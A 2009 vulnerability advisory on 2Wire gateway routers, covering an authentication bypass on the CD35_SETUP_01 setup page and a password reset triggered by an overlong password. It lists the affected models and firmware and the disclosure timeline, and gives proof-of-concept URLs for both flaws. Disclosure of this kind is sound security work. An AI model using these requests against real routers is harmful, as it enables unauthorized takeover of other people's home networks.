2WIRE Gateway Authentication Bypass & Password Reset Vulnerabilities

2009-08-12 17:31:44

2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET (08/04/09)
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DESCRIPTION
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There is an authentication bypass vulnerability in page=CD35_SETUP_01 that
allows you to set a new password even if the password was previously set.

By setting a new password with more than 512 characters the password gets
reset and next time you access the router you will be prompted for a new
password.


VULNERABLE
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2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

Firmware
5.29.51
3.17.5
3.7.1

NOT VULNERABLE
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Firmware
5.29.135.5 or later


DISCLOSURE TIMELINE
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03/27/2009 - 2wire Contacted no satisfactory response
07/11/2009 - Sent complete details to 2wire no response
07/17/2009 - Sent advisory with video demo to 2wire ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17


EXPLOIT/POC
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Authentication Bypass - just use this page to set a new password

http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv


Password Reset - using the same form but sending a password > 512 characters

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm
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Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv


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